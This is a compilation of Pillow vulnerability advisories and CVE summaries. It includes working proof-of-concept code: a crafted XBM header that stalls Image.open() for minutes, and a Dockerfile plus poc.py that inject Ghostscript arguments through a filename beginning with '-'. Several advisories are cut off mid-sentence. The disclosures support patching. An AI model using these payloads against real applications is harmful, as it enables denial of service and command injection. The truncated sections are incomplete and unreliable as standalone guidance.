Pillow versions from 12.0.0 up to but not including 13.0.0 contain a vulnerability in the Image.merge() function where a null image8 plane can be dereferenced. This occurs because validation skips the first input band, allowing certain image types to be merged incorrectly, leading to a native process crash. The issue can be triggered by opening a crafted IPTC file or by direct invocation of Image.merge() with a malicious first band. This vulnerability is fixed in version 13.0.0.
Pillow, a Python imaging library, contains a critical vulnerability in its JPEG decoder prior to version 13.0.0. The decoder can write a full-width scanline into a buffer sized for a requested draft scale due to improper verification of libjpeg's output width and component count. This flaw allows specially crafted JPEG images to corrupt heap memory, crash the process, or potentially enable code execution. The issue is resolved in Pillow version 13.0.0.
Pillow versions prior to 13.0.0 contain a vulnerability where a double free of image memory can occur during certain image transform operations. This happens when ImagingScaleAffine encounters a selective allocation failure in a specific fast path for affine transformations using nearest neighbor resampling. The flaw can cause process crashes and potential memory corruption. The issue is fixed in Pillow version 13.0.0.
Pillow versions prior to 13.0.0 contain a critical vulnerability in the FlashPix JPEG-tile decoder. The decoder can write decoded scanlines beyond the allocated tile buffer due to improper handling of JPEG modes, leading to heap memory corruption. This flaw may allow an attacker to execute arbitrary code by supplying a crafted OLE2 FlashPix file to an application that processes untrusted input with the optional olefile dependency. The issue is fixed in Pillow version 13.0.0.
Pillow, a Python imaging library, has a vulnerability in versions prior to 13.0.0 where the ImageMorph.MorphOp.apply() function can access memory before a row buffer when processing zero-width images. This occurs because PPM and PGM inputs can create images with zero width, and the morphology routine improperly indexes memory without rejecting this geometry. An attacker can exploit this by supplying a crafted image, causing the application to crash. The issue is fixed in version 13.0.0.
Pillow versions from 11.3.0 up to but not including 13.0.0 contain a heap use-after-free vulnerability triggered when libtiff rejects a tag during TIFF encoding to an in-memory buffer. This flaw can cause a process crash and may allow code execution. The issue is resolved in Pillow version 13.0.0.
Pillow, a Python imaging library, has a vulnerability in versions prior to 13.0.0 where rank-based filters can dereference invalid image storage when processing a zero-size image. This flaw causes a native process crash due to a fault in the ImagingExpand() function before the rank filter is applied. The issue is resolved in version 13.0.0.
```
============================================================================
ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes
Location: src/PIL/XbmImagePlugin.py:58 in XbmImageFile._open()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```
A crafted 512-byte file makes Pillow's `Image.open()` spend about six minutes of processor time on one core before it gives up with `UnidentifiedImageError`. Anyone who can hand bytes to an application that opens images with Pillow's default settings can trigger this, for example through an upload form, a thumbnailer, or a service that checks whether a blob is an image. A few such files sent at once can tie up a typical pool of worker processes.
The cause is the `xbm_head` regular expression in `src/PIL/XbmImagePlugin.py:32-40`, which `XbmImageFile._open()` (line 58) runs over the first 512 bytes of any stream whose prefix starts with `#define`. Several adjacent parts of the pattern can match the same characters. `[ \t]+` overlaps with `.*` in the width and height lines and with `[^_]*` in the optional hotspot lines, and `[\r\n]+` closing the hotspot group overlaps with the following `[\000-\377]*`. The header sets a run of k spaces after each `#define` and a run of k line terminators after `_y_hot`, then omits the `[]` after `_bits`. That forces Python's backtracking matcher to try every way of splitting those runs and rescan the remaining bytes each time. The cost grows roughly as k to the fifth power: k = 60 measured 375 s, while a well-formed XBM of the same size opens in about 40 ms. Because this happens before any format is identified, none of Pillow's size, pixel-count or decompression-bomb limits apply, and upload size limits do not help because the file is tiny. `ImageFile.Parser.feed()` repeats the cost on every chunk until the stream is identified. The only existing mitigation is passing a `formats=` allowlist that excludes `"XBM"`.
The attached reproducer opens the same header with and without the trailing `[]`. The valid version opens as XBM in 52 ms. The broken version takes 0.1 s, 0.75 s, 3.0 s and 8.6 s at k = 10, 15, 20 and 25, and the slow k = 60 case is not run. This is the same class of bug as CVE-2021-25292 in `PdfParser`, but in a different plugin and reachable from plain `Image.open()`.
## Details
`XbmImageFile._open()` identifies an XBM file by running the module-level regex `xbm_head` over the first 512 bytes of the stream. The pattern has several adjacent quantifier pairs that can consume the same characters, followed by a `[\000-\377]*_bits\[]` tail that rescans the rest of the buffer for every way of splitting them. A 512-byte input built to exercise all of them and then fail the final literal keeps `Image.open()` in `xbm_head.match()` for minutes before it raises `UnidentifiedImageError`.
This 512-byte input (k = 60) takes 375 s of CPU in `Image.open(io.BytesIO(data))` with default settings, measured on the stock build at this commit:
```python
k = 60
data = b"#define" + b" "*k + b"_width 1\r"
data += b"#define" + b" "*k + b"_height 1\r"
data += b"#define" + b" "*k + b"_x_hot 1\r"
data += b"#define" + b" "*k + b"_y_hot 1" + b"\r"*k
data += b"_bits" # no "[]": the final literal never matches
data += b"A" * (512 - len(data)) # pad to the 512 bytes _open() reads
```
Calling `XbmImagePlugin.xbm_head.match(data)` directly gives the same picture: k = 10 → 0.11 s, k = 15 → 0.76 s, k = 20 → 3.0 s, k = 25 → 8.5 s, k = 30 → 19.9 s (roughly ×27 per doubling of k, i.e. about k^4.7). A well-formed 512-byte XBM matches in 10 µs and opens and loads through `Image.open()` in ~40 ms including plugin import; the same k = 60 header with `_bits[]` present matches in 5 µs.
The regex, `src/PIL/XbmImagePlugin.py:32`:
```python
xbm_head = re.compile(
rb"\s*#define[ \t]+.*_width[ \t]+(?P<width>[0-9]+)[\r\n]+"
b"#define[ \t]+.*_height[ \t]+(?P<height>[0-9]+)[\r\n]+"
b"(?P<hotspot>"
b"#define[ \t]+[^_]*_x_hot[ \t]+(?P<xhot>[0-9]+)[\r\n]+"
b"#define[ \t]+[^_]*_y_hot[ \t]+(?P<yhot>[0-9]+)[\r\n]+"
b")?"
rb"[\000-\377]*_bits\[]"
)
```
and the only call site, `src/PIL/XbmImagePlugin.py:58`:
```python
def _open(self) -> None:
…
m = xbm_head.match(self.fp.read(512))
if not m:
msg = "not a XBM file"
raise SyntaxError(msg)
```
For a well-formed header (`#define im_width 8\n…static char im_bits[] = {`) each `[ \t]+` eats the single space, `.*`/`[^_]*` eat the identifier prefix, and `[\000-\377]*_bits\[]` finds the literal on its first backward scan, so the match is linear. The crafted header diverges at every one of those points:
- `[ \t]+.*_width` and `[ \t]+.*_height`: the run of k spaces after `#define` can be split between `[ \t]+` and `.*` in k ways, all leading to the same continuation. Factor k each. (The choice of `\r` terminators is incidental: t
### Summary
`PIL.EpsImagePlugin.Ghostscript()` builds the Ghostscript command line using the input file path (`fp.name`) **without sanitization**, placing it at `-f <infile>`. A filename beginning with `-` is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with `-dSAFER` enabled).
### Details
_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._
#### Type
CWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file)
#### Vulnerable Codes
```python
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = fp.name # user-controlled path used as-is, without validation
else:
in_fd, infile_temp = tempfile.mkstemp()
os.close(in_fd)
infile = infile_temp
# ... (copy fp into a temporary file)
# Build Ghostscript command
command = [
gs_binary,
"-q",
f"-g{width:d}x{height:d}",
f"-r{res_x:f}x{res_y:f}",
"-dBATCH",
"-dNOPAUSE",
"-dSAFER", # default sandbox — does NOT stop this injection
f"-sDEVICE={device}",
f"-sOutputFile={outfile}",
"-c",
f"{-bbox[0]} {-bbox[1]} translate",
"-f",
infile, # injected here: inserted into argv with no check for
# option prefixes (-, --) or Ghostscript's @-file token
# => argument injection (CWE-88)
"-c",
"showpage",
]
# ...
subprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript
```
#### Root cause.
When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f <infile> position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.
#### Affected
- Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included).
- Component: `src/PIL/EpsImagePlugin.py`, `Ghostscript()` — `infile = fp.name`, and the command list entry `"-f", infile`.
#### Suggested fix
Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (`-`/`--`) or as an argument-file token (`@`):
```python
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = os.path.abspath(fp.name) # was: infile = fp.name
```
`os.path.abspath()` guarantees the path starts with a path separator (or a drive letter on Windows), so a leading `-` or `@` can no longer reach Ghostscript's argument parser. The `else` branch already builds a safe `tempfile.mkstemp()` path and needs no change.
### PoC
dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py.
```
FROM ubuntu:24.04
RUN apt update
RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates
RUN rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0
ENV PATH=/venv/bin:$PATH
WORKDIR /poc
COPY poc.py .
COPY poc-rce.py .
COPY arg .
CMD ["python3", "poc.py"]
```
poc.py
```
import os
from PIL import Image
############################################################################################
# Attacker controlled file
############################################################################################
EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"
name = "-h"
with open(name, "wb") as f:
f.write(EPS)
############################################################################################
print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
try:
im.load()
except Exception as e:
print(f"[*] load() raised: {type(e).__name__}: {e}")
print("CWE-88: argument injection; Pillow code doesn't validate argument name")
print(" This poc.py shows the vulnerability clearly.")
print("
Pillow versions from 9.1.0 up to but not including 13.0.0 contain a vulnerability where uninitialized stack memory can be disclosed when Image.quantize() is used with an empty palette. This occurs because a local cache array is left uninitialized if the palette has zero entries, leading to leakage of stack contents in returned PNG or GIF images. The issue is fixed in version 13.0.0.
A use of uninitialized resource vulnerability exists in the python-pillow Pillow library versions 5.3.0 through 12.x. Pillow can return uninitialized memory as pixel data when decoding certain JPEG-compressed or Group 4 fax TIFF images. This occurs because the decoding buffers may be larger than the data written by libtiff, and the unwritten buffer tail is not cleared. An attacker can exploit this by supplying a crafted TIFF file to disclose stale heap memory contents. The issue is fixed in Pillow version 13.0.0.
## Summary
A small attacker-supplied TIFF can be opened and loaded normally, then reach an out-of-bounds read when an application saves it back to TIFF with retained metadata. The fixed reproducer is a 1×1, 16-bit grayscale, PackBits-compressed TIFF containing tag 320 (ColorMap) with **768 SHORT values**: three zero-filled planes of 256 entries each. No Python object is forged and no metadata is injected after loading.
Pillow's TIFF encoder allocates **768 × 2 = 1536 bytes**, then passes three plane pointers separated by 256 SHORT entries to libtiff. With `BitsPerSample = 16`, libtiff instead expects **65536 SHORT values per plane** and attempts a **131072-byte read** from a plane pointer. Existing ASAN observations identify a heap-buffer-overflow READ crossing the 1536-byte allocation made in `PyImaging_LibTiffEncoderNew`.
The malformed ColorMap need not be a valid palette for this grayscale image. The issue is that accepted metadata is forwarded on save without reconciling the fixed plane extent with the effective sample depth. Opening/loading alone is not the demonstrated fault; the encoder path is required.
## Impact and prerequisites
An application must accept the input, retain the relevant TIFF metadata, and invoke the libtiff-backed TIFF save path. The observed consequence is an out-of-bounds read and ASAN termination. Process-memory exposure during encoding is a potential consequence, **not demonstrated by extracting arbitrary heap contents in this report**. No arbitrary read primitive, full memory-disclosure chain, code execution, address-space bypass, or cross-process effect is claimed.
The 131072-byte attempted copy is not the number of bytes proven disclosed. This report does not run a synthetic-canary serializer or collect an unsanitized encoded output.
## Tested environment and limits of the evidence
The existing observations were recorded on August 30, 2026, with **CPython 3.11.8 on macOS ARM64**, using the unmodified official **Pillow 12.3.0** wheel and its bundled **libtiff 4.7.1**:
- Wheel: `pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl`
- Wheel size: `4785266` bytes
- Wheel SHA-256: `37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6`
- Pillow source revision: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d`
- Bundled libtiff SHA-256: `e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1`
Apple's ASAN runtime was injected at process startup. This is **not an ASAN-rebuilt Pillow wheel**; allocation/memcpy interception detects the reported boundary violation, but the wheel's native instructions are not comprehensively instrumented.
Only this concrete full-package environment is established here. No affected-version range, current development-branch result, or patched release is asserted. Severity is **Unknown**; no CVSS score is proposed.
Separate earlier evidence reached the original Pillow 8.0.1 encoder constructor compiled as a component against a modern Python/libtiff environment. **That was not a complete Pillow 8.0.1 installation** and does not establish the historical package's full runtime behavior. It is not part of this reproducer or an affected-version range.
## Observed evidence and controls
The earlier integration harness performed the natural sequence `Image.open(BytesIO(input))`, `image.load()`, then `image.save(BytesIO(), format="TIFF")`, without replacing the image's metadata. Each case was recorded three times:
| Original fixture | Bytes | Recorded result |
| --- | ---: | --- |
| `colormap16` | 1685 | Loaded as `I;16`; save terminated with ASAN exit 86, READ of size 131072 crossing a 1536-byte heap region (3/3). |
| `colormap8` | 1684 | Same fixed ColorMap, but 8-bit samples; save succeeded and retained SHORT/count 768 (3/3). |
| `colormap_absent` | 137 | Same 16-bit geometry without ColorMap; save succeeded (3/3). |
Address-free summary of the recorded native diagnostic:
```text
AddressSanitizer: heap-buffer-overflow
READ of size 131072
0 bytes after 1536-byte region
Copy path: memcpy -> _TIFFmemcpy -> setByteArray -> _TIFFsetShortArrayExt
-> _TIFFVSetField -> TIFFVSetField -> ImagingLibTiffSetField
-> PyImaging_LibTiffEncoderNew
Allocation: calloc -> PyImaging_LibTiffEncoderNew
```
Input SHA-256 values (also enforced inside the script):
- `colormap16`: `5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d`
- `colormap8`: `fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c`
- `colormap_absent`: `bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556`
## Root cause and source references
- [Pillow `src/encode.c`, lines 870–899, pinned revision](https://github.com/python-pillow/Pillow/blob/bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d/src/encode.c#L870): the ColorMap tuple must contain exactly 768 entries; a 1536-byte allocation is passed with a fixed stride of 256. The check does not reconcile that extent with `BitsPerSample`.
- [Pillow `src/PIL/TiffImagePlugin.py`, lines 1944–19
CVE-2026-112895 is a high-severity vulnerability in the python-pillow Pillow library affecting versions from 5.1.0 up to but not including 13.0.0. It involves uncontrolled recursion in PDF parsing when appending to existing PDFs using Image.save with append=True. The PdfParser's linearize_page_tree function recurses through /Kids references without cycle or depth checks, allowing cyclic or duplicated page trees to cause unbounded recursion. Similarly, read_prev_trailer only guards against exact repeated offsets, permitting long unique chains to recurse deeply. This can lead to excessive CPU and memory consumption or a RecursionError, resulting in denial of service in applications processing user-supplied PDFs. The issue is fixed in Pillow 13.0.0 by adding a visited set and depth limit to the parsers.
CVE-2026-112894 is a high-severity vulnerability in the python-pillow Pillow library affecting versions from 5.1.0 up to but not including 13.0.0. It causes a quadratic-time denial-of-service (DoS) when saving multi-frame images as multi-page PDFs due to inefficient algorithmic complexity in the PDF writer's object ID reservation process. This inefficiency leads to excessive CPU usage proportional to the square of the frame count, allowing an attacker to tie up system resources for extended periods with crafted files. The issue was fixed in version 13.0.0.
A use of uninitialized variable vulnerability exists in the Python Pillow imaging library versions 10.0.0 through 12.x. When rendering fonts with FreeType and an active stroker, a failure to load a glyph can lead to cleanup code freeing an invalid glyph pointer. This can cause memory corruption or a crash. The issue is fixed in Pillow version 13.0.0.
CVE-2026-112892 is a high-severity vulnerability in the python-pillow Pillow library affecting versions from 4.1.0 up to but not including 13.0.0. The issue involves the MSP RLE decoder, which can expand a small crafted MSP image into an unbounded in-memory buffer, leading to memory exhaustion and denial of service. This occurs because the decoder writes run-length output to BytesIO without limiting expansion to the declared image size, bypassing decompression-bomb checks. The vulnerability is fixed in version 13.0.0.
CVE-2026-112891 is a vulnerability in the python-pillow Pillow library versions 9.2.0 up to but not including 13.0.0. It involves inefficient algorithmic complexity in handling GIF images with long comments, causing repeated copying of comment portions during saving. This can lead to CPU resource exhaustion and a denial of service if crafted images are processed automatically by a network service. The issue is fixed in version 13.0.0.
CVE-2026-112406 is an infinite loop vulnerability in the python-pillow library's PDF parser component. Specifically, the flaw occurs in the PdfParser.rewrite_pages() function when processing a PDF file with a cyclic page tree /Parent reference. This causes the library to hang indefinitely at 100% CPU when appending an image to such a PDF using the append=True option. The issue affects Pillow versions from 5.1.0 up to but not including 13.0.0.